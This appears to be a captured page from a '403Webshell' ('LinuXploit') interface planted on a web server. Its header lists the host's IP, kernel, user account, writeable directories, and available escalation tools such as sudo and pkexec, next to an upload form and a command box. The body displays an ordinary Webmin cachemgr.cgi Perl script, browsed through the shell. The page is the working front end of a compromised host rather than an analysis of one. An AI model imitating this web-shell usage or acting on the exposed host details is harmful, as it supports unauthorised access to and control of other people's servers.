403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/squid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/squid/cachemgr.cgi
#!/usr/bin/perl
# cachemgr.cgi
# Run the squid cachemgr.cgi program

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %in, %access, $squid_version, %config, $module_name);
require './squid-lib.pl';
$access{'cms'} || &error($text{'cach_ecannot'});
my ($mgr) = glob($config{'cachemgr_path'});
&same_file($0, $mgr) && &error($text{'cach_esame'});
if (&has_command($mgr)) {
	$| = 1;
	my $temp;
	my $args = join(" ", map { quotemeta($_) } @ARGV);
	if ($ENV{'REQUEST_METHOD'} eq 'POST') {
		# Deal with POST data
		my $post;
		&read_fully(\*STDIN, \$post, $ENV{'CONTENT_LENGTH'});
		$temp = &transname();
		my $fh = "TEMP";
		&open_tempfile($fh, ">$temp", 0, 1);
		&print_tempfile($fh, $post);
		&close_tempfile($fh);
		open(MGR, "$mgr $args <$temp |");
		}
	else {
		open(MGR, "$mgr $args |");
		}
	while(<MGR>) {
		print;
		}
	close(MGR);
	unlink($temp) if ($temp);
	}
else {
	&ui_print_header(undef, $text{'cach_err'}, "");
	print &text('cach_nfound',$mgr,$module_name);
	print "\n<p>\n";
	}
&ui_print_footer("", $text{'cach_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit